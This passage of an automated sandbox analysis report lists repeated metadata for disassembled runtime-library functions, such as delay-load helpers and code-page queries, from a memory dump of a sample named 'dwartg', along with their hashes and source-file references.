Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E2D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: fedc325d7e4e38f192449028dbefbbfe3b5d8dfc763e06f80b5518c73f6febdd
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: fedc325d7e4e38f192449028dbefbbfe3b5d8dfc763e06f80b5518c73f6febdd
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E2C3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 091328a83e43285806315bf606f450be3d6a47de8f44cd993739081eebeb9e15
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 091328a83e43285806315bf606f450be3d6a47de8f44cd993739081eebeb9e15
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E2CD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 42cb8370aaf8bf681e892f04eb68d36d1388720af1edab64a0d3cd89f0e9c8e3
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 42cb8370aaf8bf681e892f04eb68d36d1388720af1edab64a0d3cd89f0e9c8e3
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E2B9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 74b954b9480d32e3ae32a4e2d314c9bd3eda1f446e26fb1481bd484e3eed68ee
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 74b954b9480d32e3ae32a4e2d314c9bd3eda1f446e26fb1481bd484e3eed68ee
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E2A5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: d19974a8d1c359e1f2802d20bc8e5baf3e0ff41f7fd802058d9d3d56d2d47437
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: d19974a8d1c359e1f2802d20bc8e5baf3e0ff41f7fd802058d9d3d56d2d47437
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E2AF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 6aec787217c4f83b00eb7bfdbaa2949db78949ed0002d2ed827cdcb807fa2733
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 6aec787217c4f83b00eb7bfdbaa2949db78949ed0002d2ed827cdcb807fa2733
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E291 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 87ad042eed76bff47b91e26ea67042eb76ee97f9f97e69d0b78882ded0b6f561
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: 87ad042eed76bff47b91e26ea67042eb76ee97f9f97e69d0b78882ded0b6f561
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E29B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: d9b9dd08ba32aaa1bac5e9338c75c6d9c837649bbd80bca1997a38cf13d47b99
Instruction ID: d5c9daaff6b67dd3e3833225d4b05c32d302ace79eaa8a1f6b0e2e6c79735ce6
Opcode Fuzzy Hash: d9b9dd08ba32aaa1bac5e9338c75c6d9c837649bbd80bca1997a38cf13d47b99
Instruction Fuzzy Hash: 0FA001E66A9246FC310962926D0ADBB021DC4C5B66B30996EFC16C44C2A89868591871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E573 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E580

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

Fjuns, xrefs: 0073E57A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fjuns
API String ID: 1269201914-22545314
Opcode ID: 407d5b45297d13a4bf8f2a2e0f3a808fd3960a1622d17995a2ed722ae911ce95
Instruction ID: 673788784031477a865c1c81b17a015ff38145b412ed599fbaac47098e89f92b
Opcode Fuzzy Hash: 407d5b45297d13a4bf8f2a2e0f3a808fd3960a1622d17995a2ed722ae911ce95
Instruction Fuzzy Hash: B4A011C2AA8200FC300822A02E0ACBB020CC0C0B2AB30A22EF800800C2A8880A280830

Uniqueness

Uniqueness Score: -1.00%

Function 0073E569 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<s
API String ID: 1269201914-3369385606
Opcode ID: abf3e51ddf96b9058c26c948dca5341cb1e12e0ed33523a902393f42e4635c21
Instruction ID: 8f506af1175b28fa4ed91bfe18a6689fb51eb566e601213f30993e73da77fe70
Opcode Fuzzy Hash: abf3e51ddf96b9058c26c948dca5341cb1e12e0ed33523a902393f42e4635c21
Instruction Fuzzy Hash: D7A022C2AAC282FC300822002C0BCBF022CC0C2F2AB30A82EFC02C00C3BCCC0C880830

Uniqueness

Uniqueness Score: -1.00%

Function 0073E555 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<s
API String ID: 1269201914-3369385606
Opcode ID: 308c43f38c0d4f1e5253cae27ca6764f377ae88c979edcf59885b1af5e75735f
Instruction ID: 8f506af1175b28fa4ed91bfe18a6689fb51eb566e601213f30993e73da77fe70
Opcode Fuzzy Hash: 308c43f38c0d4f1e5253cae27ca6764f377ae88c979edcf59885b1af5e75735f
Instruction Fuzzy Hash: D7A022C2AAC282FC300822002C0BCBF022CC0C2F2AB30A82EFC02C00C3BCCC0C880830

Uniqueness

Uniqueness Score: -1.00%

Function 0073E55F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<s
API String ID: 1269201914-3369385606
Opcode ID: 736ae9911c06b90f78c4bb291b7428f7fed3659cb45f2cf43e693535a0f93242
Instruction ID: 8f506af1175b28fa4ed91bfe18a6689fb51eb566e601213f30993e73da77fe70
Opcode Fuzzy Hash: 736ae9911c06b90f78c4bb291b7428f7fed3659cb45f2cf43e693535a0f93242
Instruction Fuzzy Hash: D7A022C2AAC282FC300822002C0BCBF022CC0C2F2AB30A82EFC02C00C3BCCC0C880830

Uniqueness

Uniqueness Score: -1.00%

Function 0073E541 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<s
API String ID: 1269201914-3369385606
Opcode ID: c2be0905137ce24624bfa9efb04f20bd29716ec93ccef637b50de2e57d81ba81
Instruction ID: 8f506af1175b28fa4ed91bfe18a6689fb51eb566e601213f30993e73da77fe70
Opcode Fuzzy Hash: c2be0905137ce24624bfa9efb04f20bd29716ec93ccef637b50de2e57d81ba81
Instruction Fuzzy Hash: D7A022C2AAC282FC300822002C0BCBF022CC0C2F2AB30A82EFC02C00C3BCCC0C880830

Uniqueness

Uniqueness Score: -1.00%

Function 0073E5A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E580

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

Fjuns, xrefs: 0073E57A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fjuns
API String ID: 1269201914-22545314
Opcode ID: bc85d44ed585accb71ed9e5fc95ff3c1f80a379094c16e36aa2017505e50b318
Instruction ID: f241060a909f8a8dbc6e6e3c70435d4601ae270483e925a447f8d560710887ed
Opcode Fuzzy Hash: bc85d44ed585accb71ed9e5fc95ff3c1f80a379094c16e36aa2017505e50b318
Instruction Fuzzy Hash: E9A001D6AA9252FC310962A16E1ADBB025DC4C5B6AB31A92EF816854C2A8881A691871

Uniqueness

Uniqueness Score: -1.00%

Function 0073E58E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E580

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

Fjuns, xrefs: 0073E57A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fjuns
API String ID: 1269201914-22545314
Opcode ID: b9ace9524d0d7482d18ed9a9e7149c0db7a019f26bb6a0322e59bac91d6f9b89
Instruction ID: f241060a909f8a8dbc6e6e3c70435d4601ae270483e925a447f8d560710887ed
Opcode Fuzzy Hash: b9ace9524d0d7482d18ed9a9e7149c0db7a019f26bb6a0322e59bac91d6f9b89
Instruction Fuzzy Hash: E9A001D6AA9252FC310962A16E1ADBB025DC4C5B6AB31A92EF816854C2A8881A691871

Uniqueness

Uniqueness Score: -1.00%

Function 0074BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0074B7BB: GetOEMCP.KERNEL32(00000000,?,?,0074BA44,?), ref: 0074B7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0074BA89,?,00000000), ref: 0074BC64
GetCPInfo.KERNEL32(00000000,0074BA89,?,?,?,0074BA89,?,00000000), ref: 0074BC77

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

